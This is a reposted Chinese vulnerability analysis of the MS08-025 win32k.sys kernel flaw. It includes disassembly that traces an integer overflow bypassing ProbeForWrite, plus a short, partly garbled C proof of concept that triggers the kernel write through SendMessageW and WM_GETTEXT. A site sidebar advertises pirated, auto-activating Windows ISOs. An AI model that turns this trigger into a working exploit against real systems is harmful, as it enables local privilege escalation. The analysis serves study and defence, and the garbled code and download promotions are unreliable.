Windows 内核漏洞 ms08025 分析
Windows 内核漏洞 ms08025 分析
Author:Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:2008-04-10
经内部讨论后决定公布分析成果。4月8号microsoft再次发布了一个系统内核的补丁(KB941693),微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。
从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite
函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING
函数中的问题来展开我们的分析(我分析的平台是winxpsp2)
.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x) 6Ep
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x) 61p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x) 6Dp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x) 60p ...
.text:BF86FB04
.text:BF86FB04 var_24= dword ptr -24h
.text:BF86FB04 var_20= dword ptr -20h
.text:BF86FB04 UserBuffer= dword ptr -1Ch
.text:BF86FB04 ms_exc= CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0 = dword ptr8
.text:BF86FB04 arg_4 = dword ptr0Ch
.text:BF86FB04 arg_8 = dword ptr10h
.text:BF86FB04 Address = dword ptr14h
.text:BF86FB04 arg_10= dword ptr18h
.text:BF86FB04 arg_14= dword ptr1Ch
.text:BF86FB04 arg_18= dword ptr20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04 push14h
.text:BF86FB06 pushoffset unk_BF98D250
.text:BF86FB0B call__SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 oreax, esi
.text:BF86FB27 mov [ebp var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp arg_8]-> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp var_20], eax
.text:BF86FB36 cmp [ebp arg_18], edx-> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax eax]<- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
<- 被溢出了,esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp var_20], eax ->保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x) 35j
.text:BF86FB47 mov [ebp var_24], edx
.text:BF86FB4A mov esi, [ebp Address]
.text:BF86FB4D mov [ebp UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 pushebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 pusheax ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57 pushesi ; Address
.text:BF86FB58 callds:ProbeForWrite(x,x,x)
bf80a1b0 e96ef4ffff jmp win32k!xxxRealDefWindowProc 0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp 0x10],eax
bf80a1ba ebf1 jmpwin32k!xxxRealDefWindowProc 0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp 0x14]
bf80a1bf f6400780 testbyte ptr [eax 0x7],0x80
bf80a1c3 8b4008 mov eax,[eax 0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc 0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxRealDefWindowProc 0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx<- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxRealDefWindowProc 0x1225 (bf809621)
bf80a1d8 6a00 push0x0
bf80a1da 6a02 push0x2
bf80a1dc ff7638 pushdword ptr [esi 0x38]
bf80a1df e8d1690200 callwin32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff testedi,edi
bf80a1e8 0f8433f4ffff jewin32k!xxxRealDefWindowProc 0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi 0x10]
那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit)
include
include<windows.h>
int main(int argc,char *argv[])
{
printf( "Create by Whitecell’s Polymorphours@whitecell.org 2008/04/10" );SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
}
WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
推荐系统
番茄花园 Windows 10 极速企业版 版本1903 2022年7月(32位) ISO镜像快速下载
语言:中文版系统大小:3.98GB系统类型:Win10番茄花园 Windows 10 32位极速企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活
新萝卜家园电脑城专用系统 Windows10 x86 企业版 版本1507 2022年7月(32位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10新萝卜家园电脑城专用系统 Windows10 x86企业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程
笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(32位) ISO镜像快速下载
语言:中文版系统大小:3.98GB系统类型:Win10笔记本台式机专用系统 Windows 10 32位企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过
笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(64位) 提供下载
语言:中文版系统大小:3.98GB系统类型:Win10笔记本台式机专用系统 Windows10 64专业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动
雨林木风 Windows10 x64 企业装机版 版本1903 2022年7月(64位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10新雨林木风 Windows10 x64 企业装机版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活
深度技术 Windows 10 x64 企业版 电脑城装机版 版本1903 2022年7月(64位) 高速下载
语言:中文版系统大小:3.98GB系统类型:Win10深度技术 Windows 10 x64 企业TLSB 电脑城装机版2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程
电脑公司 装机专用系统Windows10 x64 企业版2022年7月(64位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10电脑公司 装机专用系统 Windows10 x64 企业TLSB版2022年7月一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过
新雨林木风 Windows10 x86 企业装机版2022年7月(32位) ISO镜像高速下载
语言:中文版系统大小:3.15GB系统类型:Win10新雨林木风 Windows10 x86 专业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活系统,无
相关文章
- 黑客总结的实用的网站渗透步骤
- 破解入门(三)-----脱壳的常用方法介绍
- CCED破解实战
- ACProtect Professional 1.3C 主程序脱壳(3)(图)
- U盘加密软件有哪些、优盘加密软件哪个好、U盘文件加密工具的选择
- 教大家如何设置电脑只能登录特定QQ、如何禁止QQ登录和微信登录
- 微信域名防封技术 微信域名总是被屏蔽被拦截该如何解决
- JS变量挂马替换规则分享
- Win10系统查看网络连接详细信息的方法
- 微信重大高危漏洞曝光:黑客可随意领取别人红包
- Win10中在哪里设置专用网络和公用网络?
- 无线鼠标没反应 无线鼠标没反应的解决办法
- Windows 10零售版仅此一份 win10正式版网络直接推送
- 安装win10系统后开始菜单、音量、网络、任务栏左键打不开解决办法
热门系统
- 1华硕笔记本&台式机专用系统 GhostWin7 32位正式旗舰版2018年8月(32位)ISO镜像下载
- 2雨林木风 Ghost Win7 SP1 装机版 2020年4月(32位) 提供下载
- 3深度技术 Windows 10 x86 企业版 电脑城装机版2018年10月(32位) ISO镜像免费下载
- 4电脑公司 装机专用系统Windows10 x86喜迎国庆 企业版2020年10月(32位) ISO镜像快速下载
- 5深度技术 Windows 10 x86 企业版 六一节 电脑城装机版 版本1903 2022年6月(32位) ISO镜像免费下载
- 6深度技术 Windows 10 x64 企业版 电脑城装机版2021年1月(64位) 高速下载
- 7新萝卜家园电脑城专用系统 Windows10 x64 企业版2019年10月(64位) ISO镜像免费下载
- 8新萝卜家园 GhostWin7 SP1 最新电脑城极速装机版2018年8月(32位)ISO镜像下载
- 9电脑公司Ghost Win8.1 x32 精选纯净版2022年5月(免激活) ISO镜像高速下载
- 10新萝卜家园Ghost Win8.1 X32 最新纯净版2018年05(自动激活) ISO镜像免费下载
热门文章
- 1华为手环6pro有游泳功能吗-支持游泳模式吗
- 2重装上阵新赛季有哪些重型武器_重装上阵新赛季重型武器列表
- 3系统之家win8笔记本推荐
- 4AMD锐龙R3-1200性能怎么样 AMD Ryzen 3 1200深度评测
- 5使用win7中本地搜索功能时四个技巧快速找到文件的操作方如何用win7的搜索功能法
- 6premiere怎么更改素材序列? premiere更改序列设置的方法
- 7天天酷跑布鲁与冰原狼仔哪一个好 布鲁好还是冰原狼仔好
- 8斐讯k1路由器刷Breed BootLoader(不死UBoot)教程
- 9路由器密码忘了怎么办 无线路由器登陆密码忘了解决方法【详解】
- 10战双帕弥什超频晶币极如何获得_战双帕弥什超频晶币极获得方法
常用系统
- 1雨林木风Ghost Win8.1 (X64) 极速纯净版2020年11月免激活) ISO镜像高速下载
- 2笔记本系统Ghost Win8.1 (X64) 全新纯净版2021年12月(永久激活) 提供下载
- 3番茄花园 Ghost Win7 x64 SP1 极速装机版2018年5月(64位) 提供下载
- 4笔记本&台式机专用系统 Windows10 企业版 版本1903 2021年12月(32位) ISO镜像快速下载
- 5电脑公司Ghost Win8.1 X32 家庭纯净版2018年05(无需激活) ISO镜像免费下载
- 6笔记本&台式机专用系统GhostWin7 64位元旦特别 旗舰版2021年1月(64位) 高速下载
- 7电脑公司 装机专用系统Windows10 x86企业版2020年4月(32位) ISO镜像快速下载
- 8笔记本&台式机专用系统GhostWin7 64位新春特别 旗舰版2020年2月(64位) 高速下载
- 9笔记本&台式机专用系统 Windows10 企业版 2019年12月(32位) ISO镜像快速下载
- 10新雨林木风 Windows10 x86 企业装机版2022年7月(32位) ISO镜像高速下载